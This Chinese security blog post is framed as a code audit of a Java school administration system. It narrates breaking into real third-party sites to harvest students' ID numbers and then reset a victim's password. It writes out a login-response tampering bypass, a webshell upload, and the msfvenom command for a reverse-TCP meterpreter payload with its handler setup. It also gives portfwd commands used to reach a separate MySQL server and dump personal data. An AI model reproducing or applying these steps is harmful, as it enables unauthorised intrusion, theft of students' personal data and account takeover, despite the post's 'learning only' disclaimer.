代码审计 | 曲折的某java教务系统代码审计

  • A+
所属分类:代码审计


这是F12sec的第63篇原创 


申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

ps:感谢北神,小丑师傅给的代码

本文由团队师傅Challenger投稿,转载请标明来源。

1.审计开始

1.为struts框架

查看web.xml中<filter-mapping><url-pattern>来确定拦截规则,当是.action时所有以.action为结尾的请求都会被struts处理拦截,/test/.action则只有test目录下的请求会被拦截。

初步审计无需登录或者可以绕过登录的洞

再看struts.xml看对应.action后端处理在那,看到设置了包扫描,所以.action后端处理都在dckj.business

代码审计 | 曲折的某java教务系统代码审计


再看回web.xml看一下全局filter等filter过滤器,对应Java文件在dckj.core.base.EntssGlobalFilter,因为审的是编译后的源码以前com.web.servlet.uploadServlet

对应classes/com/web/servlet/uploadServlet.class

代码审计 | 曲折的某java教务系统代码审计

全局过滤,大概看了,就判断cookie的处理和白名单ip的处理,还有开放的静态路径

代码审计 | 曲折的某java教务系统代码审计


CAS单点登录认证:


https://blog.csdn.net/qq_41258204/article/details/84036875,这里可以直接访问服务器不被重定向回认证服务器,不太懂


代码审计 | 曲折的某java教务系统代码审计

登录通过判断sql登录成功注入java bean对象然后通过监听器绑定对象来确认身份

代码审计 | 曲折的某java教务系统代码审计


1.HttpSessionBindingListener
这个监听器,可以让
javaBean对象,感知它被绑定到session中或从session中移除。
2.
HttpSessionActivationListener
这个监听器,可以让
javaBean感知,被钝化或活化。
钝化—>将
session中的javaBean保存到文件中.
活化—>从文件中将
javaBean直接获取。也就是说我们想通过改返回值”status”: “y”绕过认证不太可能了

代码审计 | 曲折的某java教务系统代码审计

能看看有啥可以未授权访问的功能,看白名单,有个文件下载,看上去可以,但实践不行。

代码审计 | 曲折的某java教务系统代码审计

本地debug 可以穿目录下载文件 ok 实际测试Fuzz一波不行0.0,放弃

代码审计 | 曲折的某java教务系统代码审计

因为没有啥未授权的洞,只能搞账号,本地搭起环境麻烦审出来,也得有账号进实际的才有意思,而登录有验证码,如果训练识别验证码爆破很麻烦,而且效率低靠运气!放弃…..但找回密码,

只 需要学号+身份证,后返回随机密码,无需电话验证还是有希望

代码审计 | 曲折的某java教务系统代码审计


打使用该系统的目标来获取学号和身份证

谷歌+社工库没找到

直接打使用该系统的目标,通过漏洞获取账号+身份证 或者直接密码

这里有3个有效目标

代码审计 | 曲折的某java教务系统代码审计

挑第一个目标,企业查查确定资产,子域名……快速一波没有洞,打微信小程序也没洞,反编译小程序麻烦最后再试

代码审计 | 曲折的某java教务系统代码审计

goby扫端口重定向的域名的站,发现可管理员后台登录

代码审计 | 曲折的某java教务系统代码审计

为ThinkPhp的站,TP的站常规工具打一波payload,无效,爆破无效,登录发包改返回包0改1

代码审计 | 曲折的某java教务系统代码审计

直接跳转到这,直接可以文件上传.

代码审计 | 曲折的某java教务系统代码审计

真是好家伙!!任意文件上传,直接送shell来了。

代码审计 | 曲折的某java教务系统代码审计

目的拿学号+身份证 或者直接密码,翻数据库配置文件

代码审计 | 曲折的某java教务系统代码审计

扫端口未开放3306,只能

端口转发出来

为了上传下载文件稳定性,这里用 msf进行(reGeorg 可能环境原因连不上)

生成马

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=服务器IP lport=667 -f elf > msf_667

msfconsole上监听

use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 667run

把生成的马上传上webshell,然后运行

chmod +x /tmp/msf_667/tmp/msf_667

代码审计 | 曲折的某java教务系统代码审计

在反弹回来的meterpreter上进行端口转发

portfwd add -l 670 -p 3306 -r 127.0.0.1

代码审计 | 曲折的某java教务系统代码审计

但站库分离,mysql不在这台机,淦卡住了,想其它代理,但可以直接将转发地址改为mysql服务器地址,

127.0.0.1改mysql地址 portfwd add -l 671 -p 3306 -r 201.x.x.1

成功转发,msf转发感谢TARI师兄的教导

代码审计 | 曲折的某java教务系统代码审计

成功连接,只有学号和电话,密码加盐了

代码审计 | 曲折的某java教务系统代码审计在另外的数据库翻到超级管理员的密码这里不加盐但,登进去没啥可以获取学生身份证的功能,废了

代码审计 | 曲折的某java教务系统代码审计

在用户登录为另外的网站,输入账号为手机号,密码随手123456 登录成功返回身份证 NB 学号和身份证有了

代码审计 | 曲折的某java教务系统代码审计


有了 学号和身份证,回到要代码审计的系统去重置密码,重置他会返回随机密码:

代码审计 | 曲折的某java教务系统代码审计

成功登录。终于可以好好审计了

代码审计 | 曲折的某java教务系统代码审计

再次黑白盒结合审计:(有待更新)

才测一下子文件上传就崩了或者关网站了…,没法访问了淦 ,有白名单无法绕过,因为他会重命名00截断对文件名无效,但patn参数直接拼接可控,该系统用jdk7,可以尝试00截断,但实际path后有/不知可否截断

代码审计 | 曲折的某java教务系统代码审计

受空字节截断影响的JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。

——————————————————————————
  • 往期精彩推荐

❤️爱心三连击

1.关注公众号「F12sec」

2.本文已收录在F12sec官方网站:http://www.0dayhack.net/

3.看到这里了就点个关注支持下吧,你的「关注」是我创作的动力。

代码审计 | 曲折的某java教务系统代码审计
代码审计 | 曲折的某java教务系统代码审计


公众号:F12sec

QQ群:884338047

官方网站:http://www.0dayhack.net/

这是一个终身学习的团队,他们在坚持自己热爱的事情,欢迎加入F12sec,和师傅们一起开心的挖洞~

        关注和转发是莫大鼓励❤️




本文始发于微信公众号(F12sec):代码审计 | 曲折的某java教务系统代码审计

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: